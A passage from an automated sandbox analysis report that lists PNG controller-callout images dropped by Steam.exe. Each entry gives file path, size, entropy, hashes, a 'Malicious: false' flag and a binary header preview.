Preview:	.PNG........IHDR...&............[....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\alpha_controller_callout_button_1_d0g.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1574 x 768, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	11692
Entropy (8bit):	5.628373526215812
Encrypted:	false
SSDEEP:
MD5:	B40940234FFF7B3A9FB5D2572BB951FA
SHA1:	4C9F8D3F437F17B4747F933C15CB63132D6ABBBC
SHA-256:	29A5372FC54C9456D564DE185921EDCBCE4D384CE61EC7F7DF138E16A9B19AA7
SHA-512:	F13AF32BEEF1CB8D104CE854B508A5D985B7759FA0DA97D088AB5BFF357093B0AEF276E58E820B2A57DBA3E566D8B21E23DE50A7332DF88061A37267E4EF97A7
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...&............[....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\alpha_controller_callout_button_2.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1574 x 768, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	169910
Entropy (8bit):	7.967307027198259
Encrypted:	false
SSDEEP:
MD5:	5BFCC6BA01FD9F1F00BE0AB7F3C7D9DB
SHA1:	5C5C0196FB09DDE6E7AAF5B8B4F7070139225826
SHA-256:	7FE94286084DB5A7A27A749BEBC44A250D3A53753C4D5A02482F1F0DBDFD7635
SHA-512:	E550822BE0A4010AF00CF19A38250101C62720692954602B202D095B333010FEB27E9F495B51E11F6D6546E1F50E6A2098113DF61902759943EE73DE3C73225D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...&............[....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\alpha_controller_callout_button_2_d0g.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1574 x 768, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.651907002359165
Encrypted:	false
SSDEEP:
MD5:	8C67D6C9D5C7A1BED8BE89E42C667B63
SHA1:	9E22CBB2BD94EB926600009C4A3C7B36718822EA
SHA-256:	083ECD52047D53F2A77E1EA3DF1FAFD3915A956DAEBE9EA9E843539BC8A86113
SHA-512:	93ADCD51F4F88E477787078100FA2B79AFF5E8A35957EE39EBBE8609C81A3E23940DE29D1427F5918C7C132C8C2C1DA07C6A77E6F8F6C4A6E97097C59FE927B8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...&............[....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\alpha_controller_callout_button_3.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1574 x 768, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	170379
Entropy (8bit):	7.967778001535703
Encrypted:	false
SSDEEP:
MD5:	973BE118E81D91B27D6AFE9F44184840
SHA1:	2DDEECDF027DDEA70818F7FA9F0458B973127A88
SHA-256:	941034DA61CDDA657512FF49B8775C0CA929FBD779F38A3FD0F3C72D6AA05928
SHA-512:	408306C57CE2750D656F3602A3B040B1B889AFBA3B96E6C0897C350C6816F67C41C46DF295DC2A88B85D2A5A9C1DDD6C671A2C816964491C9F798B0AEE4697C7
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...&............[....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\alpha_controller_callout_button_3_d0g.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1574 x 768, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	11677
Entropy (8bit):	5.715612864589691
Encrypted:	false
SSDEEP:
MD5:	8FCF3CA9DC027C010EFFED737914532B
SHA1:	E2F423A8F1997F7B1822042BA8C8997A3E8BAD2C
SHA-256:	484DA30568D96BB9A30A7CF456C4140C5D1058BF8B04C5AA28ECF2C5B4427ED1
SHA-512:	CB2F75FEE9EE3FE06417769DDC78BCE1C366BE60627EFD22FE126DD3F5AF930604DB6CA5308D1B4BE01B34C967E68E5E82CC3B246676EA52866C1B08515DBBD1
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...&............[....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\alpha_controller_callout_left_bumper.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1574 x 768, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	170908
Entropy (8bit):	7.970403522542203
Encrypted:	false
SSDEEP:
MD5:	A1FCF43BEFD88D3393AE8B6ABB202B9B
SHA1:	F4B597E03B13500805D09BF892E6BC178DAED5EA
SHA-256:	27D0DDD02B604F12166FA6B92D0A581C0D7A6DA1A6221EDFC1DEE61588042749
SHA-512:	2E886583EC619866F8BB5B22D02BF8206DB55ABEC40F50EADC3EA964FF1D7D4A121149B5C3F17C8EE2C865F37EF5A0DCFAA07FDA43D7466E8AF11D0AF4152EB6
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...&............[....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\alpha_controller_callout_left_bumper_d0g.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1574 x 768, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	231010
Entropy (8bit):	7.980924666068703
Encrypted:	false
SSDEEP:
MD5:	DE8280089ECEA10FE550E6ED51220727
SHA1:	96451D1D44D582EDAB5B314DD93F135E16268DB8
SHA-256:	B811771796B825DAD368AE6EB5A6785326A2DB7A08BDA5932F5DF8A3474FB6C2
SHA-512:	659D8118BC3FEFC0C7F876139CBF983BB804AE660039C2B359FDE881594B783FA56F309A5463CA979A1F1F52668C20BFE3FC1F85FB1F1CB9B62C097B7A60500F
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...&............[....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\alpha_controller_callout_left_trigger.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1574 x 768, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	168529
Entropy (8bit):	7.947195972431462
Encrypted:	false
SSDEEP:
MD5:	BA7AA6CC214D94C517545D303DDDA7A4
SHA1:	46C1004E8DC03979A44F3185A257ED25BAADCBB3
SHA-256:	1DBDA0E06CB301EA0F2FFD7EDD403EA6E2B96DF7F5F8068DC9F56A740A684FD1
SHA-512:	AB664393BE7FAA8C0DC6586532CCC0B970B02E333C4451896DD49550FCB4C985F6747E9EE6193388D32884E1CC957F8FAAFBF9112EDC614F89B1FA2C8731B669
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...&............[....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\alpha_controller_callout_left_trigger_d0g.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1574 x 768, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	12349
Entropy (8bit):	5.79577648773784
Encrypted:	false
SSDEEP:
MD5:	250EC59E216B7FAC09AD7D71AA295461
SHA1:	0A1F6AEFBD534EA2A88CE96537B73ECBA54CB411
SHA-256:	71EBBC5FE9D9BF34CC3C32DC05A72AC86330AA8B8570ECDA79CCE5754A748D1E
SHA-512:	FC77DCFF4C854670524BC7B21A0DEF58A6991D718302B34697FCAE9E132BCA214952BF09C28EA0F2B6E9B8B875BC6F8D7FB312282DC0E1EDE09583F3DB47552A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...&............[....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\alpha_controller_callout_p1.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1574 x 768, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	190876
Entropy (8bit):	7.964027515944527
Encrypted:	false
SSDEEP:
MD5:	70D0F00DFF28A9F2C757C338264A7C8D
SHA1:	EA2061FC82167226DF80DDEA0984CBA9DDE3CE71
SHA-256:	D16A7DF469853FDCDB30051469553D20E93C3026AC82AC7D1C21C9FA1F042AE5
SHA-512:	0B4C039EF1D8C182BC61A1894FA320FD71B4BF76246CCDBB79876ADDABD325D9A07FA99047963E2A332AAE65764D322E4D115DF6D30286BBC3D84D9942C12090
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...&............[....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\alpha_controller_callout_p1_d0g.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1574 x 768, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	33668
Entropy (8bit):	7.45222206269725
Encrypted:	false
SSDEEP:
MD5:	724EBB1F46CCA33526A3DD9DBED221CB
SHA1:	7F6F8B1233E6FC6A34F6864EEC2DE3D2E9FDE5DE
SHA-256:	562673C443DCDE19A32C79F919B01E1AF07BC77E318DD3DE86C5BD7D7EB2EA59
SHA-512:	AB2F34360822A7D05000EED0C78D93060C27D8405AB8D89E8D9459E0D7940446F4FEDDC8456347986196800108C76329B2263E381956AC9DCDC2E4AC01308FD8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...&............[....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\alpha_controller_callout_p2.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1574 x 768, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	190760
Entropy (8bit):	7.9651689250855595
Encrypted:	false
SSDEEP:
MD5:	05DCE210ABA22B786494D30B04C4DE46
SHA1:	0123874F61342179CB714455F21E28B266D5C6B6
SHA-256:	88EDA9316E95C46C30D9BB55D532DEBCC481D3DA97983F095F7F5954927B58C5
SHA-512:	DD38843B287A3BB119B588B8F66014D335549D32110386AF1B51724843E2819A736EFD7D8578D6FEBD758674D43D3128B14AD4E3F84103E7FD44F4416FEF4A3E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...&............[....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\alpha_controller_callout_p2_d0g.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1574 x 768, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35448
Entropy (8bit):	7.507917539655335
Encrypted:	false
SSDEEP:
MD5:	5A3E2C5DA2CE89CFC7DA5BFC1DBCB2E4
SHA1:	C6FE27CB2557DBFF2E331EB9EE55ADB4334DC42B
SHA-256:	DA94F1B08AB0434AFAB54CF94EDF77C7D4AC1B428DFDBC7DD1DF5CD6A637332A
SHA-512:	9DD43672E22634B27E90BBECD3D26DB6C739052B4493FB3EC0E0EDF39AD2979CE535CD9719470B44639D572829BEF6C903802AA7AEAF01DA0E5320291A029720
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...&............[....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\alpha_controller_callout_right_bumper.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1574 x 768, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	170651
Entropy (8bit):	7.970523575288803
Encrypted:	false
SSDEEP:
MD5:	787196582196C9F246583A17D3E98666
SHA1:	3F75F1D5D78FFA52F5ACAF4C8C3513C562A154B1
SHA-256:	2BF0284A3C656C27E215EBDB84E5ED4DC082BAF612746C08B0FEDCBBBAC7960C
SHA-512:	0265376A6B4B100ACD3F1610A7A8771C157220756718AD9C4E2B94AEBA059E9045EA0DE03CA7F69A01227D32EE3ACF195ED1AF0F075770393E9D880BB4D78CB5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...&............[....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T 